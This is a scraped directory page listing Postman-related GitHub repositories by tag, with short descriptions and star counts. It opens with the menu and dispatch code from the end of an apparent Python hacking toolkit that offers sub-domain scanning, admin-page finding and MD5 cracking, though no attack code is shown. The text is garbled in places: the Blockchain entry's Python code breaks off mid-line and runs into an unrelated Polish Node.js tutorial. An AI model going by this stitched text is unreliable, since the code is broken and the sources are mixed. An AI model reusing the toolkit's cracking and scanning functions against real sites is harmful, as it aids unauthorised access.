-[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
BeAPI/bea-postman
class, mail, place, replace, replacement, send, sender 		WordPress class for replacements and mail sender 0 stars 0 watchers 1 forks
choas/SAP-Leonardo-Machine-Learning-Postman-Collection
class, collection, image, model, models, training 		A Postman collection for SAP Leonardo Machine Learning for retraining image classification models. 0 stars 0 watchers 1 forks
AmulyaChen/classScheduler
application, assignment, automat, automatic, automatically, class, content, contents, course, schedule, select, test, testing, updated, user, util, weather 		University project:create an application that will change a course schedule When an application user select the first day of class, the application needs to change the dates in course schedule automatically If a class is canceled due to inclement weather, entire dates should be updated If the class didn’t finish the topics as scheduled, contents of course, quiz and assignment schedule should be updated You may create a separate UI for testing purposes or utilize a Tool like SoapUI or PostMan. You will need to use the latest of: Java 8 Spring Framework MySQL or Maria DB 0 stars 0 watchers 0 forks
amulyachennaboyena/ClassSchedulerUsingSpring
application, assignment, automat, automatic, automatically, class, content, contents, course, schedule, select, test, testing, updated, user, util, weather 		University project:create an application that will change a course schedule When an application user select the first day of class, the application needs to change the dates in course schedule automatically If a class is canceled due to inclement weather, entire dates should be updated If the class didn’t finish the topics as scheduled, contents of course, quiz and assignment schedule should be updated You may create a separate UI for testing purposes or utilize a Tool like SoapUI or PostMan. You will need to use the latest of: Java 8 Spring Framework MySQL or Maria DB 0 stars 0 watchers 0 forks
johannescarlen/grails-simple-app
auth, authentication, class, grails, json, play, playaround, rails, test, testing 		A playaround with Grails. Creating a REST post and get with basic authentication. Also some simple domain class scaffolding. Import the postman.json into Postman for API testing. 0 stars 0 watchers 0 forks
beata-krasnopolska/TodoApi
class, controller, data, database, learn, method, methods, model, path, routing, tutorial 		The project made on according to the tutorial: Create a web API with ASP.NET Core. It allowed to learn how to create a web API project, Add a model class and a database context, Add a controller, Add CRUD methods, Configure routing and URL paths, Specify return values, Call the web API with Postman. 0 stars 0 watchers 0 forks
BrentGruber/pyman
class, collection, convert, export, exported, library, postman collection, usable 		Python library that can convert an exported postman collection into a usable Python class for making api calls 0 stars 0 watchers 0 forks
codechavez/Postman
class, design, facade, mail 		Email SMTP class using basic facade design pattern 0 stars 0 watchers 0 forks
cpollet/postman-maven-plugin
class, collection, export, maven, method, methods, plugin 		A maven plugin to export JAX-RS annotated classes and methods to Postman collection 0 stars 0 watchers 0 forks
Gyanachand1/Blockchain
action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user 		# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią 0 stars 0 watchers 0 forks
hartnel/PostManagerOpenclassroom
class, classroom 		openclassroom exercices 0 stars 0 watchers 0 forks
k90551/meme_reassembly
class, image 		Multiclass meme-image classification using ML and DL 0 stars 0 watchers 0 forks
redwebs/Postman
class, data, util, utilities 		Postman data classes and utilities 0 stars 0 watchers 0 forks
sometingppz/classes
class 		h5页面应用Ajax跨域demo,通过postman获取接口数据，得到课表，天气，地点，气温等信息 0 stars 0 watchers 0 forks
WelitonAmartins/cursomc
backend, class, implementado, model, projet, projeto 		Curso de Spring Boot, Spring Data JPA, H2 Database, Postman, Java Orientação a Objetos e UML. Nesse projeto foi implementado um modelo conceitual de backend com a base no diagrama de classes. 0 stars 0 watchers 0 forks

native (17 listings) (Back to Top)

liyasthomas/postwoman
alternative, builder, free, http, https, native, postwoman 		👽 A free, fast and beautiful API request builder (web alternative to Postman) https://postwoman.io 18028 stars 18028 watchers 1105 forks
yojji-io/metaman
alternative, builder, included, meta, native, workspace 		Postman alternative request builder (workspaces included) 2 stars 2 watchers 1 forks
amittyyy/LandonHotelAPI_Project
book, booking, mobile, native, register, search 		BackEnd RestAPI Works for web and native mobile for booking, register and search Hotel Rooms using Asp.Net MVC Core 2.1 and PostMan. 1 stars 1 watchers 0 forks
missingfaktor/tapal
alternative, command, command line, light, lightweight, native 		A lightweight command line alternative to Postman 1 stars 1 watchers 0 forks
RapsIn4/archer
alternative, light, lightweight, native, source 		A lightweight open-sourced POSTMAN alternative 1 stars 1 watchers 0 forks
bigknife/outman
alternative, native 		an alternative of POSTMAN 0 stars 0 watchers 2 forks
MojoNetworksInc/Postman-Collections
collection, collections, modify, native, user, users 		API collections created in Postman that Mojo Cloud users can modify and run by using the native Postman app. 0 stars 0 watchers 2 forks
rafi/req8
alternative, file, files, native, terminal 		Manage HTTP RESTful APIs per-project in YAML files (Postman alternative for the terminal) 0 stars 0 watchers 2 forks
pbenipal61/postman-android-native
android, description, native, script 		No description available. 0 stars 0 watchers 0 forks
alexbasson/postit-note
client, native, note 		OS X native Postman-like HTTP client 0 stars 0 watchers 0 forks
aymkin/track-server
auth, authorization, cloud, course, error, express, handling, hashi, http, https, learn, middleware, native, react, redux, server, track, udemy 		Back-end for Front-enders, за два часа можно просмотреть как с минимум усилий: установить express написать 4 эндпоинта подключить к MongoDB cloud базовое использование Postman что такое схемы и модели (Mongoose) зачем нужен JWT (Json Web Token) + как его имплементировать в проект что значит натереть и присолить пароль (salting and hashing password) и почему это по проавославному как ограничить доступ к данным не авторизированным пользователям (middleware authorizationRequire) обработка потенциальных ошибок (error handling) уроки 165-186 https://www.udemy.com/course/the-complete-react-native-and-redux-course/learn/lecture/15707662 0 stars 0 watchers 0 forks
dvrax/req-do
alternative, native 		A GUI alternative to cURL / Postman 0 stars 0 watchers 0 forks
nehero/simple-query
alternative, native, network, query 		Simple postman alternative for making network requests. 0 stars 0 watchers 0 forks
roachdaddy89/PostMate-Rest-App
application, exploring, native, react, route, routes, storing 		PostMate is a react-native application for exploring and storing custom api routes like postman. 0 stars 0 watchers 0 forks
tranvan538/Postman-Native
native 		Postman native 0 stars 0 watchers 0 forks
trydent-io/martian-client
client, native 		Alternative to Postman 0 stars 0 watchers 0 forks
TylerMoser/postmanrunner
alternative, collection, collections, executing, native, runner, test 		An alternative UI for executing Postman test collections 0 stars 0 watchers 0 forks

frontend (17 listings) (Back to Top)

davellanedam/node-express-mongodb-jwt-rest-api-skeleton
angular, async, consume, express, frontend, github, http, https, mongo, mongod, mongodb, node, react, rest, skeleton, starter, sync 		This is a basic API REST skeleton written on JavaScript using async/await. Great for building a starter web API for your front-end (Android, iOS, Vue, react, angular, or anything that can consume an API). Demo of frontend in VueJS here: https://github.com/davellanedam/vue-skeleton-mvp 0 stars 0 watchers 119 forks
davellanedam/phalcon-micro-rest-api-skeleton
angular, consume, frontend, phalcon, react, rest, skeleton 		This is a basic API REST skeleton written on Phalcon PHP. Great For building an MVP for your frontend app (Vue, react, angular, or anything that can consume an API) 0 stars 0 watchers 19 forks
onkarpandit/cryptocurrency
blockchain, chai, crypto, cryptocurrency, currency, frontend, implementation, java, local, locally, script 		My own cryptocurrency implementation with blockchain and frontend using java script.Hosted locally on postman. 2 stars 2 watchers 0 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
miladBentaiba/REST-API
application, axios, communicate, contact, frontend, list, managing, operation, react, test 		- create a REST API for managing contact list (CRUD operation) - use Postman to test your REST API - create a frontend application with react that use this REST API. You can use axios to communicate with the API 1 stars 1 watchers 0 forks
omarabdeljelil/simple-api-php
data, frontend, operation, operations, test, tested 		Simple php RESTful API that return JSON data, with frontend (AJAX POST and GET), all the CRUD operations are tested with Postman 1 stars 1 watchers 0 forks
Paul-O-95/frontendWithAPI
frontend, mock, rating, server 		Integrating Frontend app with API using postman mock server 0 stars 0 watchers 1 forks
SalahEddine007/mern_devconnector
action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow 		Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. 0 stars 0 watchers 0 forks
guys1444/node.js-socialNetwork
action, backend, component, components, container, elegant, endpoint, endpoints, extension, frontend, integrate, node, rating, resource, resources, route, routes, social, source, stat, test, testing, workflow 		socialNetwork that ive made in node.js Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension ,MERN STACK 0 stars 0 watchers 0 forks
chikeud/ReleafEval
action, application, form, format, frontend, implementation, information, list, send, setup, spec, test, tester, user 		API that allows user to add company, update company info, delete company and request a user specified number of companies based on a user specified ranking criterion. No frontend implementation so API tester or request sending application such as Postman will be needed. Installation and setup information and specific requests to achieve each of the actions listed above will be explained in detail in ReadMe. Test Eval for releaf.ng 0 stars 0 watchers 0 forks
Kent27/postmanager-frontend
frontend, manager 		Front End for Post Manager (React-Redux) 0 stars 0 watchers 0 forks
kevinxu993/Fanlinc
access, agile, application, backend, cloud, data, database, development, flexible, frontend, handling, mean, method, process, relationship, simulate, software, storage, version, web app 		⚫ Developed a web application to foster meaningful relationships between fans, and grow the fervent passions for the fandoms they love. ⚫ Coded in Java with Spring Boot for backend, ReactJS and HTML for frontend. ⚫ Used MySQL database. Used AWS for cloud storage. Used Spring Data JPA to allow data access and Google API to implement map feature. ⚫ Wrote REST APIs in the backend to ensure flexible data handling. ⚫ Tested the APIs using Postman to ensure early failure detection and stable development. ⚫ Worked in a Scrum team using agile software development methodology. ⚫ Used Git for version control to simulate a software development process 0 stars 0 watchers 0 forks
ManitKapoor/postman-assignment-frontend
assignment, frontend 		Postman assignment Frontend Angular 0 stars 0 watchers 0 forks
momo112/devconnector
communicate, developer, developers, frontend, network, networking, site, stat, test, tested 		Social networking site to allow developers to connect, communicate and organize meetups. Based on the MERN stack (MongoDB, Express.js, React.js, and Node.js). Validated and tested APIs with postman. Used React for the frontend and Redux to manage the states. 0 stars 0 watchers 0 forks
polperse/matapp1
check, frontend 		Ejercicio de ABM sin frontend (check con postman) 0 stars 0 watchers 0 forks
skaler12/Postman-CRUD_Repo-Hibernate-More---Furniture_Warehouse-
application, branch, engine, frontend, future, lang, language, operation, skal 		Furniture Warehouse App. Application shows how i use Hibernate, Jpa, CRUD Repository, and Postam Api. DB H2 and MySql. Actually Api has not frontend, so it presents the operation of the application using the postman application. In the future i want to add new branch concering HQL language and thymeleaf engine ! 0 stars 0 watchers 0 forks
techinfo-youtube/MongoDB_Nodejs_CRUD_operations
crud, frontend, mongo, mongod, mongodb, node, nodejs, operation, operations, tool, youtube 		complete mongodb and nodejs crud operation using postman tool not frontend used!! 0 stars 0 watchers 0 forks

multiple (17 listings) (Back to Top)

m4nu56/newman-parallel-run
collection, function, multiple, newman, node, parallel, postman collection 		Simple node function to run multiple postman collection in parallel 9 stars 9 watchers 6 forks
solidfire/postman
collection, collections, multiple, version, versions 		Pre-built Postman (getpostman.com) collections for multiple versions of Element OS 9 stars 9 watchers 6 forks
fortinet-solutions-cse/postman_collections
collection, collections, multiple, solution, solutions, workshop, workshops 		Placeholder for multiple Postman collections for different workshops 0 stars 0 watchers 2 forks
idlem1nd/postman-pat
collection, collections, discover, multiple, postman collection, postman collections, sequence 		Runs multiple postman collections in sequence, discovers vars by naming convention 0 stars 0 watchers 2 forks
Pal0720/Dec-api
application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated 		Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. 0 stars 0 watchers 1 forks
h4n2k/newman-parallel-test
collection, multiple, newman, parallel, postman collection, test 		Simple parallel test which run multiple postman collection in parallel 0 stars 0 watchers 0 forks
md-amir/fileupload
file, image, laravel, multiple, rest, rest api, upload 		Upload multiple image using rest api (postman ) in laravel 0 stars 0 watchers 0 forks
anuragashok/postman-multiple-workflows
collection, multiple, postman collection, workaround, workflow 		A workaround to have multiple simple workflows in a postman collection 0 stars 0 watchers 0 forks
Apollo013/AspNet_WebApi2_MultiPipeLine
access, config, configure, controller, demonstrate, lines, multiple, pipeline, piplines, spec, test 		A small ASP.NET that demonstrates how to configure a WEB API project to have multiple piplines and specify which controllers are accessible for each pipeline. Requires Fiddler or POSTMAN to test. 0 stars 0 watchers 0 forks
bhargavkaranam/multiple-curl-to-postman
collection, curl, multiple 		Convert multiple cURL requests to Postman collection 0 stars 0 watchers 0 forks
cnkei/python-postman
list, mail, multiple, python, send, sender 		A SMTP mail sender in Python that accepts a list of recipients and multiple attachment 0 stars 0 watchers 0 forks
harenlewis/api-hub
access, accessed, advance, advanced, application, development, dummy, mock, multiple, server, server., user, users 		A mock server application where in development or dummy APIs can be created and accessed by multiple users. Similar to Postman's advanced mock server. 0 stars 0 watchers 0 forks
iSatishYadav/postMany
multiple, single 		Posting multiple entities in a single POST 0 stars 0 watchers 0 forks
jadhavnikhil78/Android-Projects
android, multiple, projects, tool, tools 		This project contains multiple android projects developed using various tools and techniques like Java, Android Studios, Postman etc. 0 stars 0 watchers 0 forks
Miheev/newman-runner
collection, collections, instance, instances, multiple, newman, runner 		The Runner of API Integration Tests. Run Postman based collections via multiple Newman instances. 0 stars 0 watchers 0 forks
prashant65018/redoc_pro
collection, docs, import, local, multiple, redoc, spec, swagger 		redoc your swagger docs with additional functioanlity of loading multiple API's with "try it feature" and directly import respective API collection in local postman app through "Run in Postman" option 0 stars 0 watchers 0 forks
treetrunkz/nodeapp
access, accessed, application, dynamic, dynamically, express, install, interface, list, module, modules, mongo, mongoose, multiple, node, nodejs, parse, parser, server, todo, tree, user, users 		This is a nodejs application. It is a todo list that can be accessed and created by multiple users. The API is accessed by Postman. The server and interface is set up to POST and GET dynamically. To populate node_modules `npm install ejs, express, mongoose, body-parser --save -g` + tsc -w 0 stars 0 watchers 0 forks

security (16 listings) (Back to Top)

cassiomolin/jersey-jwt-springsecurity
auth, authentication, jersey, security, spring 		Example of REST API with JWT authentication using Spring Boot, Spring Security, Jersey and Jackson. 0 stars 0 watchers 15 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
mmsrgit/spring-security-db
auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user 		This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML 1 stars 1 watchers 1 forks
elsaVelazquez/cybersecurity
auth, authentication, java, javascript, mongo, script, security 		authentication using RESTful API, Vuejs, javascript, postman, mongoDB 1 stars 1 watchers 0 forks
kpraneeth3456/JWT-Authentication
account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user 		Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. 1 stars 1 watchers 0 forks
ibm-cloud-security/appid-postman
cloud, security 		IBM Cloud App ID Postman Collection 0 stars 0 watchers 2 forks
th3resource/cisco_security_postman
cisco, description, resource, script, security, source 		No description available. 0 stars 0 watchers 1 forks
Pal0720/Dec-api
application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated 		Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. 0 stars 0 watchers 1 forks
disconnect5852/security
rest, rest api, security, spring, test, testing 		testing spring security, testing of testing, simple rest api, trying out postman, etc. 0 stars 0 watchers 0 forks
Greg1992/mongotut
communicate, data, database, modern, mongo, package, packages, security, test, testing 		Server set up to communicate with a MongoDB database, using modern security measures to encrypt data. Used POSTMAN and Node testing packages (Mocha and Chai) 0 stars 0 watchers 0 forks
dontamayo/security_authentication
auth, authentication, mongo, security 		I used mongoDB, Robo3T, Postman, NodeJs, NPM, Bcrypt, Crypto 0 stars 0 watchers 0 forks
nikitaphopse/django_customer_base_project
action, application, backend, behaviour, customer, data, database, default, django, environment, fields, filter, image, list, method, permissions, proving, query, relationship, search, security, sets, token, upload, verb, verbs, version, versions 		We will create a full project ( Customer Base ) with all database relationships, image upload and full control on what is happening behind the scenes. Introduction Preparing the environment Creating the base of the application ( Customer base app ) Setup of the Django Rest Framework Exposing an API for the Customer Endpoint Consuming this API with Google Chrome and Postman Creating the Endpoint for the all entities Personalizing the get_queryset method to provide a list of Customers with filters Override of the behaviour for the defaults HTTP verbs (Get, Post, Put, Patch, Delete ) Creating custom actions Using query strings Filtering querysets with DjangoFilter backend Enabling API search Custom lookup field Improving the API security with Tokens Custom permissions per token Nested relationships OneToOne ForeignKey ManyToMany Types of Serializers Nested serializers Function fields Types of ViewSets Enabling Pagination on your API Deploy on Heroku Updating versions of the application after deploy on Heroku 0 stars 0 watchers 0 forks
RubenSantana/xx_sec_and_auth
auth, authorization, security, test, tests 		tests for security and authorization with MongoDB, Mongoose, Robo3T, Postman, and others 0 stars 0 watchers 0 forks
saksham1998/node-rest
auth, authentication, example, node, rest, rest api, security, sign up 		A small example rest api, with security,authentication,log in and sign up features. Complete Backend of the app. To be run on postman 0 stars 0 watchers 0 forks
vinay-sv/spring-security-authentication
auth, authentication, branch, collection, connection, future, includes, security, spring, struct, structure 		Authentication Using spring security which includes basic auth, db authentication and jwt. Postman collection added under jwt authentication branch. For Db authentication only the structure is present and not the actual db connections, which is to be implemented in the future. 0 stars 0 watchers 0 forks
xinzhaizisunqi/spring-security-use-postman
security, spring 		spring-security 0 stars 0 watchers 0 forks

templates (16 listings) (Back to Top)

DannyDainton/newman-reporter-htmlextra
helper, helpers, html, module, newman, report, reporter, template, templates 		A HTML reporter for Postman's Command Line Runner, Newman. Includes Non Aggregated Runs broken down by Iterations, Skipped Tests, Console Logs and the handlebars helpers module for better custom templates. 0 stars 0 watchers 34 forks
src-system42/cognito-postman-templates
cognito, collection, collections, endpoint, endpoints, system, template, templates, test 		Generator for creating Postman collections to test Cognito endpoints. 9 stars 9 watchers 4 forks
darshanasbg/postman-collections
collection, collections, template, templates 		Postman request templates 5 stars 5 watchers 4 forks
fedejousset/Dynamics365WebApiPostmanCollection
auth, authentication, collection, standard, template, templates, test, type, types 		This is a Postman collection that covers standard API requests for Dynamics 365. The collection aims to help Dynamics 365 Developers/Power Users to create, run and test different types of Web API request by providing authentication and request templates. 0 stars 0 watchers 7 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the 